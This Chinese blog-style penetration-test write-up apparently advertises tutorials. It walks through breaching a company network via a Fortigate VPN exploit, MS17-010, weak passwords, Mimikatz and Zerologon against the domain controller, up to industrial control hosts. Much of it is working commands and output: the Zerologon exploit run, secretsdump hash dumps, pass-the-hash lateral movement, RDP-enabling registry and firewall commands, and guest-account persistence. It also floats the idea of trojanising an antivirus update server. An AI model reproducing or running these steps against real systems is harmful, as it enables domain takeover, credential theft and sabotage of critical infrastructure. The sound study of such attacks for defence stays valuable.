视频教程在我主页简介或专栏里
目录:
前言
外网突破
资产扫描与常规漏洞
经典的MS17010漏洞利用:
网络通信设备弱口令:
安全防护设备集群:
域环境渗透
核心生产网渗透
总结
教程下载链接:zkanzz
话不多说,我们开始:
前言
作为一个资深的安服仔,经常要去客户那里做渗透测试的。最近在做项目的时候,领导让我带带徒弟,于是把整个过程做了详细记录,重点是域环境的渗透,有很多碰到的问题和解决思路,大佬勿喷哈哈,为了脱敏,其中涉及的域名全部用*.COM代替。
外网突破
确定目标后,我一般是第一时间用各种信息搜集工具招呼过去。凭我的经验来看,goby由于集成了端口扫描、指纹识别、目录扫描、漏洞扫描等功能,信息搜集的效果还是比较好的,但是尴尬的是针对该目标啥也扫不出来(可能全端口扫会有结果,但是太慢了)
goby不灵就换个工具和思路,这里我利用网络空间测绘平台fofa发现该公司部署在公网Fortigate VPN设备。恰好存在CVE-2020-7042漏洞没有修复,于是我利用网上公开的exp获取部分员工VPN登录账号,成功进入公司内网:
资产扫描与常规漏洞
利用fscan等工具对目标内网资产进行扫描探测,发现网段10段存在大量存活主机。通过SMB口令碰撞、SQLServer提权、SSH弱口令、MS17010等方式获取了几台内网主机权限。接下来通过拿到的权限,收集本地shadow文件、浏览器记录、数据库配置文件、桌面敏感信息等,继续做成密码字典,重新进行内网各种口令爆破,继续拿权限,这样周而复始做过几轮之后,拿了很多权限,有windows主机,也有linux主机,具体步骤我记录了几台:
通过扫描结果首先看到主机151上存在weblogic服务
该服务是存在CVE-2016-0638漏洞,于是利用网上公开的exp工具直接getshell了,通过id指令可以看到我们获取的是oracle用户权限
经典的MS17010漏洞利用:
接着我们遇到了好几台主机都存在经典的ms17010漏洞没有修复的情况。 第一台:主机24存在MS17010漏洞,利用msf获取shell的过程如下
利用mimikatz抓取出明文密码
第二台:主机32存在MS17010漏洞,利用MSF成功获取控制权限:
加载mimikatz模块读取明文密码
开启3389远程桌面并成功登录,发现该主机有核心业务-综合信息系统。为了防止权限丢失,激活了guest用户,修改其密码为Hello123456@1_2_3
第三台:主机55存在MS17010漏洞,但是只能执行command弹不出meterpreter
这里只能加载ms17_010_command模块来执行相应的cmd命令,发现有user用户,列出其桌面目录
网络通信设备弱口令:
目标公司下属的通信部门一台NAS主机中存放一张路由交换网络拓扑图,并且泄露了部分路由器的管理员账户。根据此图,定位所有路由器和交换机IP地址,利用超级弱口令检查工具,成功获取权限的有十余台,弱口令账号是admin/目标名称缩写@123:
另外还有几台思科路由器(20/116/224),账号密码也是弱口令cisco/cisco 随便选择一台思科路由器,利用上面获得的弱口令可以成功登录,其Web界面登录如下:
当然,也可以使用telnet连接成功截图如下:
安全防护设备集群:
内网信息搜集时发现一台开放3389端口的winserver2019服务器,地址为37,开始以为是一台普通的服务器,利用超级弱口令检查工具发现其存在弱口令Admin@123,可以远程登录桌面
没想到该服务器安装有杀毒软件集中管控平台,总共控制6380个用户终端,好家伙,一个“邪恶”的想法就涌了上来:如果深入研究其病毒库更新机制,能否把更新模块替换为我们的木马,批量控制所有用户终端呢?可惜,我水平一般,研究了半天也不知道怎么去实现我的想法,网上也没有现成的公开的案例,以后再找大佬去慢慢研究吧。
为了防止用户丢失,激活了guest用户,修改其密码为Hello123456@1_2_3
域环境渗透
也许是运气比较好吧,很快又发现内网地址段10.77.9.1/24存在域环境,且能够确定域控地址为10.77.9.4 利用超级弱口令检查工具批量扫描C段域环境主机,发现域内一台主机155 存在弱口令Administrator/目标单位简称@123,成功登陆其远程桌面如下,是一台数据库服务器。
翻找到数据库配置文件如下,我将其中的密码加入了密码字典中,后续可以依此进行口令碰撞
add key="connectionstring" value="Data Source=SERVER;Initial Catalog=zxzdb;Persist Security Info=True;User ID=sa;password=zxz@123"
上传免杀马上线cs
抓取本机密码hash
------------------- Mscache passwords -----------------administrator:2a519d1804e93b3455:ZXZ:*.COM
------------------- Hashdump passwords -----------------
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5db8fba761c1008a51d4c95ab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f86cef930fd92366d89f140d:::
PC:1002:aad3b435b51404eeaad3b435b51404ee:04a6f13a48cb6b:::
利用在线破解md5的网站,成功破解的MD5是PC/Admin!@#
利用该主机进行域内信息搜集,域内主机共418台,域管理员仅有一个是administrator:
可以确定,域的域控主机名为SERVERZXZ2,将bloodhound客户端上传到域内任意一台机器上,搜集域内拓扑信息,再下载到本地的kali主机上,利用bloodhound分析域内拓扑关系与攻击路径:
经过分析后,尝试利用前两年爆出来的经典zerologon漏洞cve-2020-1472打域控,首先检测漏洞是否存在:
确定漏洞存在后,执行exp按照步骤:置空域控密码->导出域所有hash->利用域管hash登录域控主机->恢复域控原始hash防止脱域
挂好内网代理,执行exp置空域控密码
root@perfect-pod-10:~/CVE-2020-1472# proxychains python3 cve-2020-1472-exploit.py SERVERZXZ2 10.77.9.4
ProxyChains-3.1 (http://proxychains.sf.net)
Performing authentication attempts...
|S-chain|-<>-VPS:57777-<><>-10.77.9.4:135-<><>-OK
|S-chain|-<>-VPS:57777-<><>-10.77.9.4:49671-<><>-OK
======================================================================================================================================================================================================================================
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!
导出域所有hash
root@perfect-pod-10:~/CVE-2020-1472# proxychains python3 secretsdump.py *.COM/SERVERZXZ2\$@10.77.9.4 -no-passProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|S-chain|-<>-VPS:57777-<><>-10.77.9.4:445-<><>-OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
|S-chain|-<>-VPS:57777-<><>-10.77.9.4:135-<><>-OK
|S-chain|-<>-VPS:57777-<><>-10.77.9.4:49671-<><>-OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:92bae25563a498a86e6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6096cec445fecd524781:::
*.COM\AAA:1115:aad3b435b51404eeaad3b435b51404ee:c389e095742d1111555ad:::
*.COM\BBB:1121:aad3b435b51404eeaad3b435b51404ee:59b1d5b6406607ea0c2d:::
*.COM\CCC:1126:aad3b435b51404eeaad3b435b51404ee:5396a651e07de633d5fd2:::
*.COM\DDD:1128:aad3b435b51404eeaad3b435b51404ee:520cb9d17a2432fdb5:::
*.COM\EEE:1129:aad3b435b51404eeaad3b435b51404ee:9b8cc5b8b55cc772d14379d:::
*.COM\FFF:1132:aad3b435b51404eeaad3b435b51404ee:dd655ebdaf7e1db0d134cce:::
(这里因为有四百多条太多了,就省略掉了)
[*] ClearText passwords grabbed
*.COM\DOC:CLEARTEXT:DOC
[*] Cleaning up...
注意最上面的这里就是域管的hash,切换impacket工具利用域管的hash就能够登录域控主机
PS C:\Users\Sheep\Music\impacket-0.11.0\examples> python wmiexec.py -hashes aad3b435b51404eeaa1404ee:92bae25563a498a86e6 *.COM/administrator@10.77.9.4
恢复域控原始hash防止脱域:
reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
注意找到这里
$MACHINE.ACC: aad3b435b51404eeaad3b435b:c4f4f0ec1cf81a60dc058
注意其后半部分c4f4f0ec1cf6fec0ca7a8 即为域控机器原始hash值
root@perfect-pod-10:~/CVE-2020-1472/zerologon# proxychains python3 reinstall_original_pw.py SERVERZXZ2 10.77.9.4 c4f4f0ec1cf6fec0cc058
如何验证恢复hash成功没有问题? 方法1:
proxychains python3 secretsdump.py *.COM/SERVERZXZ2\$@10.77.9.4 -no-pass
此时无法访问说明hash不为空
方法2:
proxychains python3 secretsdump.py *.COM/administrator@10.77.9.4 -hashes aad3b435b51404eeaa4ee:cb136a448767792b498a86
此时利用域管hash可以成功dump出所有hash
最后成功登录域控远程桌面,查看活动目录AD可见域内主机418台
现在我们可以说拥有了域的上帝权限,可以为所欲为啦,哈哈哈!比如,可以利用下面指令做域内横向移动
python smbexec.py -hashes aad3b435b51404eeaad304ee:cb136a4487677a498 *.COM/administrator@10.77.9.69
或者用atexec也可以(端口不同)
python atexec.py -hashes :cb136677963a498a8e6 *.COM/administrator@10.77.9.69 "net user"
开启远程桌面的cmd指令
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
防火墙开放端口3389
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
利用Mimikatz的hash传递登录远程桌面
sekurlsa::pth /user:administrator /domain:10.77.9.69 /ntlm:cb136a448763a498a6e6 "/run:mstsc.exe /restrictedadmin"
这里展示一台域内的10.77.9.211机器可以用域管账号登陆远程桌面,但是切换不到普通用户
核心生产网渗透
我把域环境下获取的用户口令添加进密码字典,再研究其命名规则,进一步组合弱口令进行暴力破解445端口,最终成功获取地址段10.157.1.1/24中的一台控制中心主机的管理员密码,利用wmiexec连接并开启远程桌面并登陆成功:
利用anydesk历史会话进入ID号为XXX的主机,获取其ip地址为192.168.25.31,至此进入第二层内网—生产区 该主机运行有信号调度系统,即计算机控制系统,是核心工控系统
总结
确定攻击目标公司之后,利用网络空间测绘平台fofa发现该公司部署在公网Fortigate VPN设备。利用CVE-2020-7042漏洞获取部分员工VPN登录账号,成功进入公司内网。 内网渗透过程中,通过弱口令获取部分路由器交换机权限;通过组合口令登录一台卡巴斯基集中管控平台,为了攻击内网部分不出网主机,将本地杀软关闭后,以其为掩护搭建内网攻击平台(包括msfconsole/fscan/Get_Pass等工具),利用MS17010漏洞获取部分员工终端系统权限,再利用同口令攻击不断扩大攻击面,被控的员工终端中,有的存有网络设备账号密码,有的存有员工敏感信息,有的访问核心业务系统;信息搜集发现域环境并锁定域控,利用CVE-2020-1472(zerologon)漏洞直接获取域控权限,从而完全控制所属418台主机权限。在内网已控员工主机中进行敏感信息搜集中锁定一台控制中心主机,利用组合口令获取其控制权限,远程登陆后发现通过anydesk控制生产区主机。 其实每次渗透测试实战时每个环境都不一样,这里给各位师傅一句建议就是每次做渗透时要么写一份语雀要么将报告保存好,这样有助于增长我们的实战经验,忘了也可以返回去看自己的骚姿势。在此感谢各位师傅观看!